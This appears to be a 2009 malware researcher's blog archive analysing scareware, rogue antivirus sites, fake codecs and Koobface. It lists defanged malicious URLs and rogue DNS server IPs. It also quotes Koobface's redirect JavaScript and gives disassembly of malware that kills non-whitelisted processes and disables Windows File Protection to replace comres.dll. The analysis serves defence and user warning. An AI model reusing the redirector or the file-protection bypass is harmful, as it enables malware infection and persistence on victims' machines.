Thursday, August 27, 2009

Porn site distributes scareware

Another website has recently been spotted to be serving up malware in the guise of fake video codecs.

This one praises itself as "The Best Nude Celebrity Movie Site"
hxxp://alyssafan.net/1.html

face_codec

But in order to watch the any video, we would need to download and install their "Certified ActiveX video codec (VAC codec) use to protect content Copyrights"

The fake fake codec can be downloaded here:
hxxp://alyssafan.net/Mediacodec_v4.8.exe

One of the components used in this attack is an onfuscated javascript file that can be found in the %temp% folder.

obfuscated

This script translates to:

deobfuscated

This script downloads:
hxxp://ue4x08f5myqdl.cn/u3.exe

Which then gives us scareware Safety Center:

safetycenter

Beware of fake video codecs!

Friday, August 21, 2009

Scareware asking for ransom: System Security

system_security_scan

Scareware is BIG business. They use heaps of scare tactics in order to convince unsuspecting users into buying rogue applications. But here's one that does a bit more than just scaring.

System Security terminates almost all running processes. This basically prevents us from using our computers. More importantly, this hinders execution of tools necessary to investigate the infection and aid in removal of this rogue app.

Back in the day, in order to evade detection and removal, malware writers have targeted security-related applications. They have a black list of applications including (but not limited to) the following:

avast.exe
avp.exe
cmd.exe
icesword.exe
kav.exe
regedit.exe
taskmgr.exe


But now they block even the most harmless Windows applications such as calc.exe and notepad.exe. But not all applications should be terminated, because that basically means no Windows. No Windows means no profit so the bad guys need basic Windows functionality. Which tells us that they have probably stopped using blacklisting and shifted to whitelisting instead. They now have a list of applications that they would allow to be executed in the system.

Here's part of some disassembly taken from a sample of System Security, showing us evidence of whitelisting:

Rogue app takes a snapshot of all the processes in the system:

.rsrc:140B4B4F push edi
.rsrc:140B4B50 push 2
.rsrc:140B4B52 call CreateToolhelp32Snapshot
.rsrc:140B4B57 mov [ebp+hObject], eax
...
.rsrc:140B4B79 push ecx
.rsrc:140B4B7A push eax
.rsrc:140B4B7B mov [ebp+var_64C], 22Ch
.rsrc:140B4B85 call Process32FirstW
...
.rsrc:140B4BAB push [ebp+dwProcessId] ; dwProcessId
.rsrc:140B4BB1 push 0 ; bInheritHandle
.rsrc:140B4BB3 push 1FFFFFh ; dwDesiredAccess
.rsrc:140B4BB8 call ds:OpenProcess


It then terminates the processes not found in the white list:
.rsrc:140B4C00 push 0FFFFFFFFh ; uExitCode
.rsrc:140B4C02 push edi ; hProcess
.rsrc:140B4C03 call ebx ; TerminateProcess


and displays this message as a notification in the system tray:
.rsrc:14039998 aApplicationCan: ; DATA XREF: sub_140B4ADD+16A
.rsrc:14039998 unicode 0,
.rsrc:14039998 unicode 0,
.rsrc:14039998 dw 0Ah
.rsrc:14039998 unicode 0, ,0
.rsrc:14039A5E align 10h
.rsrc:14039A60 aWarning: ; DATA XREF: .rsrc:140104BF
.rsrc:14039A60 ; sub_140B4ADD+1DB ...
.rsrc:14039A60 unicode 0, ,0
.rsrc:14039A72 align 4


systemsecurity

It then resumes processing the snapshot created earlier and the cycle continues:
.rsrc:140B4CDF lea eax, [ebp+var_64C]
.rsrc:140B4CE5 push eax
.rsrc:140B4CE6 push [ebp+hObject]
.rsrc:140B4CEC call Process32NextW


Here's the list of applications that the scareware allows:
.rsrc:14046A48 off_14046A48 dd offset aAlg_exe ; DATA XREF: sub_140B49CF+26
.rsrc:14046A48 ; "alg.exe"
.rsrc:14046A4C dd offset aCsrss_exe ; "csrss.exe"
.rsrc:14046A50 dd offset aCtfmon_exe ; "ctfmon.exe"
.rsrc:14046A54 dd offset aExplorer_exe ; "explorer.exe"
.rsrc:14046A58 dd offset aServices_exe ; "services.exe"
.rsrc:14046A5C dd offset aSlsvc_exe ; "slsvc.exe"
.rsrc:14046A60 dd offset aSmss_exe ; "smss.exe"
.rsrc:14046A64 dd offset aSpoolsv_exe ; "spoolsv.exe"
.rsrc:14046A68 dd offset aSvchost_exe ; "svchost.exe"
.rsrc:14046A6C dd offset aSystem ; "system"
.rsrc:14046A70 dd offset aIexplore_exe ; "iexplore.exe"
.rsrc:14046A74 dd offset aLsass_exe ; "lsass.exe"
.rsrc:14046A78 dd offset aLsm_exe ; "lsm.exe"
.rsrc:14046A7C dd offset aNvsvc_exe ; "nvsvc.exe"
.rsrc:14046A80 dd offset aWininit_exe ; "wininit.exe"
.rsrc:14046A84 dd offset aWinlogon_exe ; "winlogon.exe"
.rsrc:14046A88 dd offset aWscntfy_exe ; "wscntfy.exe"
.rsrc:14046A8C dd offset aWuauclt_exe ; "wuauclt.exe"


As we can see, System Security is more than just scareware. You won't be able to properly use your computer unless you buy the rogue app. Sounds more like ransomeware to me.

But, now that we know that it uses whitelisting, we can do a little work around and bypass this technique. We can rename a copy of the tools that we need to run as one of the whitelisted applications and voila! We've already taken one step into regaining full use of our infected computer.

Thursday, August 20, 2009

Rogue AV Clone: Windows Protection Suite

WindowsProtectionSuite-site

Another scareware has been spotted and it calls itself Windows Protection Suite.

You can get Windows Protection Suite from one of these urls:

hxxp://searchscanner.net/?p=WKmimHVlbXCHjsbIo22EfYCIt1POo22YXZmK0qR0qay9sYmbm5h2lpd9fXCHodjSbpRelWZsmGGZYWPMU9jSzKKsl3OWh9esb2VraWhpbWyWX5aMlJNq
hxxp://linewebsearch.com/?p=WKmimHVlbXCHjsbIo22EfYCIt1POo22YXZmK0qR0qay9sYmbm5h2lpd9fXCHodjSbpRelWZsmGGZYWPMU9jSzKKsl3OWh9esb2VraWhpbWyWX5aMlJNq
hxxp://linewebsearch.com/?p=WKmimHVlaGuHjsbIo22Eh4uLt1POo22eU9LXoKitiJ%2FY1cRflJ2dcZqTgX6YU9janW1eZWpslGGbZmGXkonZ0Zqop5uikomtpXFqZmxtbWmaYZyfV5OQcQ%3D%3D
hxxp://linewebsearch.com/build8_102.php?cmd=getFile&counter=1&p=WKmimHVlaGuHjsbIo22EfYCLt1POo22eU9LXoKitiJ/Y1cRflJ2dcZqTgX6ZU9janW1jZWJsmGGXZGSeXonZ0Zqop5uikomtpXFqZmxsa3CaXpmbV5OQcQ==
hxxp://guardinfo.net/?p=WKmimHVlbm2HjsbIo22EfYCIt1POo22cU9LXoKith6Swz9KwoFqbnZxxmpinc4rapZxql2OemI6WaWeZY5WK2J%2Bgo6vKnpRfpqd2ZWppaHCUXpeaaFaQl28%3D


It uses the same tactic as seen on earlier posts here and here where the website claims to scan the unsuspecting user's computer, detects heaps of infections, and offers a bogus solution.

scan

Looking at the installed scareware we find out that Windows Protection Suite is nothing but a clone of Windows Security Suite.

WPS

Even their websites are clones:

WPS_WEB

hxxp://windowsprotectionsuite.com
hxxp://windowssecuritysuite.com

Wednesday, August 19, 2009

cover

A recently leaked threesome sex tape, involving Grey's Anatomy's "McSteamy" Eric Dane and wife Rebecca Gayheart, has been circulating around the internet. And we all know that controversial stuff like these are often taken advantage of and used to distribute malware using techniques such as social engineering and SEO (search-engine optimization). Users of one particular website have been spotted to be talking about the sex tape. There was no video on the site itself so people wanting to see the video might be enticed to clicking the links posted by fraudulent users and are tricked into downloading and installing malware on their computers.

There's one such post suggesting we go to hentaiplace.org to watch the leaked video:

3somecomment

Here the malware poses as a fake video codec Divxcoder that users need to install in order to watch the video.
hxxp://hentaiplace.org/play.php?id=Eric_Dane_and_Rebecca_Gayheart_sex_tape

hentaiplace

Following the download link hxxp://hentaiplace.org/promo.php, we are redirected to hxxp://fiopolosa.com/download/7933547766773d3dd846130c20090815/FlashCodecPlugin.exe

The malware presents the user with a License Agreement while doing its dubious deeds in the background. And you don't even need to agree to the License Agreent to install the malware!

divxcoder

The malware changes the affected computer's DNS settings to use the following IP Addresses as DNS servers:
85.255.112.80
85.255.112.168


This means that the affected computer's will have to contact these IPs for name resolution and this gives the bad guys a really good opportunity to redirect users to fake websites and steal passwords, login details and other confidential information.

This malware employs TDSS rootkit in order to hide its presence on the infected machine.

Thursday, August 13, 2009

Social engineering trick leads to Rogue AV: MacroVirus

I was reading a blog about a Rogue AV then I noticed a suspicious comment on it:

tiny_comment

It the user was recommending an antispyware program and gave us the following url:
www(dot)tinyurl(dot)com/qlft9c

Following the link, tinyurl does its magic and we are directed to:

hxxp://macrovirus(dot)com/?hop=starbasi

macrovirus

If we believe everything we see and hear, we'll be downloading and installing a scareware:

macrovirus_run

Here we can see that the bad guys are clearly taking advantage of the url shortening service from tinyurl.com.

Also, you might notice, there's a striking resemblance between the following:

bassey edet
and
hxxp://macrovirus(dot)com/?hop=starbasi

This is probably giving us a hint as to how the bad guys get paid.

If you got this scareware, remove it immediately.

Tuesday, August 11, 2009

Rogue AV: Winifighter

winfighter

We've talked about digital clutter on a previous post.

But this one's a real bugger. Winifighter creates heaps of junk binary files in the %systemroot% and %system% directories. The filenames, the contents, and filesize are all random. The names, however, contains bits and pieces taken from malware names such as the following:

backdoor
not a virus
spy
trojan
virus
worm


This one also, spoofs the Windows Security Center to give itself that authentic feel and advises unsuspecting users to register Winifighter.

winifighter_windowssecuritycentre

Ad of course we also have those ever so genuinely adorable warning messages:

fakealert1
fakealert2

As always, I advise everyone to steer clear of these Rogue AVs.

Monday, August 10, 2009

Facebook: Rogue AV Farm?

There has been enormous movement related to koobface lately and it has been mostly driven by social networking websites such as Facebook, Tagged, Myspace, Twitter, and many others.

One social networking website that probably tops the list of sites used as attack vectors is Facebook.

Here's a screenshot of a spoofed Facebook website:

koob1

We are presented by a fake codec alert and unsuspecting users usually download and install the Koobface malware:

koob2

We have seen koobface being hosted on kukuruku-290709(dot)com, but thanks to the all good guys out there this site has been taken down. But the bad guys have responded and are now using legitimate domains and redirections to serve koobface. We have seen a small patch of code on websites used in the redirection:

wrttnsvqnayay qrqgtlzac
script src ="4fc . js" // edited
qsmypwqmoj bbaspbrq


The strings are random, and so are the names of the javascript files being executed.

Here's what the javascript file has to offer:

// KROTEG
var abc1 = 'http://kukuruku-290709.com/go/';
var abc2 = 'http://kukuruku-290709.com/go/';
var ss = '' + location.search;
if ((location.search).length>0) abc = abc1; else abc = abc2;
var redirects = [
['facebook.com', abc+'fb.php'],
['tagged.com', abc+'tg.php'],
['friendster.com',abc+'fr.php'],
['myspace.com', abc+'ms.php'],
['msplinks.com', abc+'ms.php'],
['myyearbook.com',abc+'yb.php'],
['fubar.com', abc+'fu.php'],
['twitter.com', abc+'tw.php'],
['hi5.com', abc+'hi5.php'],
['bebo.com', abc+'be.php']
];
var s = '' + document.referrer, r = false;
for (var i = 0; i 0) redir=redir+'&domain='+location.host; else redir=redir+'?domain='+location.host;
location.href = redir;
r = true;
break;
}
}
if (!r) location.href = abc+'index.php'+ location.search;


Since the domain kukuruku-290709(dot)com has been brought down already, we'll soon most likely see new ones emerge to host koobface.

One of the payloads of koobface is downloading other malware, and currently it is serving the fake  AV called System Security.

system_security_scan

A few weeks prior to today, there has been a lot of buzz about Facebook's Farm Town app serving up Rogue AVs. And recently Facebook is once-again associated with Rogue AVs. Clearly, the bad guys behind these attacks are tyring to make quick bucks by promoting scareware. And of course by using techniques such as Social Engineering , malware and scareware spread rather quickly and easily, because attackers can hide behind the names of even the people we trust.

Take extreme care when viewing emails, tweets, comments or posts. Even if they came from people we know.

Thursday, August 6, 2009

Rogue AV: Antivirus Plus

Here's another Rogue AV out there, and it's being served by more than one domain:

antivirusplus1

Here's a list of some of the domains used to host this Rogue AV:

addedantiviruslive(dot)com
addedantivirusonline(dot)com
addedantivirusstore(dot)com
easyaddedantivirus(dot)com
freeantivirusplus09(dot)com
goodantivirusplus(dot)com
i-antivirusplus(dot)com
internetantivirusplus(dot)com
mybestantivirusplus(dot)com
myplusantiviruspro(dot)com
nextantivirusplus(dot)com
realantivirusplus09(dot)com
realbestantivirusplus(dot)com
yesantivirusplus(dot)com


antivirusplus

Stay away from these rogue domains and block them if you have any means of doing so.

Wednesday, August 5, 2009

Rogue App: System Cleaner

I visited this rogue domain:

hxxp://antivirussecurescannerv3.com

antivirussecurescannerv3.com

The website proceeded to show me that it is scanning my machine for system errors and that it is doing a very wonderful job because it found heaps of problems on my machine and it is very eager to fix it.

To give the website some kind of authentic feel, it also showed me which browser I am using, my operating system, and my IP address.

It was also offering 60% discount on the product. Isn't that a good deal?

Now, if the dubious scanning and the overall feel of the website did not give away its real intentions, and if we are to be lulled into buying their software, well... hold on a minute!

If you notice that on my screenshot, the rogue website was giving some errors about the Windows TEMP folder, Internet Explorer temp files. But how can that be? As I mentioned on a previous post, I am not running Windows!

As usual, unsuspecting users get ripped off for a crappy software. So be careful!

Monday, August 3, 2009

Malware foils Windows File Protection

I came across a malware that replaces %system%\comres.dll which in turn runs the malware each time this module library is run.

This file is actually protected by the Windows File Protection feature which is introduced in Windows 2000 here

According to this microsoft article


Windows File Protection (WFP) prevents programs from replacing critical Windows system files. Programs must not overwrite these files because they are used by the operating system and by other programs. Protecting these files prevents problems with programs and the operating system.


In this post, we'll be looking at how a malware bypasses the Windows File Protection feature in order to replace the critical system file %system%\comres.dll with a copy of the malware.

The malware first disables the Windows File Protection feature (yes, it can be disabled!):


PUSH 0 ; /IsShown = 0
PUSH Avidm_dl.00BBAB7C ; |DefDir = ""
PUSH Avidm_dl.00AC54D8 ; |Parameters = "/REVERT"
PUSH EAX ; |C:\WINDOWS\system32\sfc.exe
PUSH Avidm_dl.00AC54D0 ; |Operation = "open"
PUSH 0 ; |hWnd = NULL
CALL DWORD PTR DS:[; \ShellExecuteA
...
PUSH ECX ; /pHandle
PUSH 0F003F ; |Access = KEY_ALL_ACCESS
PUSH 0 ; |Reserved = 0
PUSH Avidm_dl.00AC5498 ; |Subkey = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
PUSH 80000002 ; |hKey = HKEY_LOCAL_MACHINE
CALL DWORD PTR DS:[; \RegOpenKeyExA
MOV EAX,DWORD PTR SS:[ESP+10]
LEA EDX,DWORD PTR SS:[ESP+14]
PUSH 4 ; /BufSize = 4
PUSH EDX ; |0xffffff9d
PUSH 4 ; |ValueType = REG_DWORD
PUSH 0 ; |Reserved = 0
PUSH Avidm_dl.00AC548C ; |ValueName = "SfcDisable"
PUSH EAX ; |hKey
MOV DWORD PTR SS:[ESP+2C],-63 ; |
CALL DWORD PTR DS:[; \RegSetValueExA
MOV ECX,DWORD PTR SS:[ESP+10]
PUSH ECX ; /hKey
CALL DWORD PTR DS:[; \RegCloseKey


The malware then saves a copy of %system%\sfc_os.dll as %system%\sfc_my.dll:


PUSH 1 ; /FailIfExists = TRUE
REPNE SCAS BYTE PTR ES:[EDI] ; |
MOV ECX,EBP ; |
DEC EDI ; |
SHR ECX,2 ; |
REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] ; |
MOV ECX,EBP ; |
LEA EAX,DWORD PTR SS:[ESP+120] ; |
AND ECX,3 ; |
PUSH EAX ; |new filename: C:\WINDOWS\system32\sfc_my.dll
REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] ; |
LEA ECX,DWORD PTR SS:[ESP+228] ; |
PUSH ECX ; |existing filename: C:\WINDOWS\system32\sfc_os.dll
CALL DWORD PTR DS:[] ; \CopyFileA


It then loads the newly-copied file to get the address of an exported API via Ordinal #5, an undocumented API SetSfcFileException to disable Windows File Protection for %system%\comres.dll, Windows COM services:


PUSH EDX ; /C:\WINDOWS\system32\sfc_my.dll
CALL DWORD PTR DS:[] ; \LoadLibraryA
PUSH 5 ; /ProcNameOrOrdinal = #5
PUSH EAX ; |hModule
CALL DWORD PTR DS:[] ; \GetProcAddress
...
PUSH EDX ; c:\windows\system32\comres.dll
PUSH 0
CALL EBP ; sfc_my.#5


ordinal5

The malware then saves the original comres.dll as comresdk.dll, removes comres.dll in %dllcache%, and it is now ready to use the name comres.dll in %system%:


PUSH EDX ; /newname: comresdk.dll
PUSH EAX ; |oldname: comres.dll
CALL ; \rename
...
PUSH EDX ; /path=C:\WINDOWS\system32\dllcache\comres.dll
CALL ; \remove
...
PUSH 1 ; /FailIfExists = TRUE
PUSH EAX ; |NewFilename: C:\WINDOWS\system32\comres.dll
PUSH ECX ; |ExistingFilename:
CALL DWORD PTR DS:[>; \CopyFileA


There we have it folks, the malware foiled the Windows System File Protection feature using perfectly legitimate and readily available methods.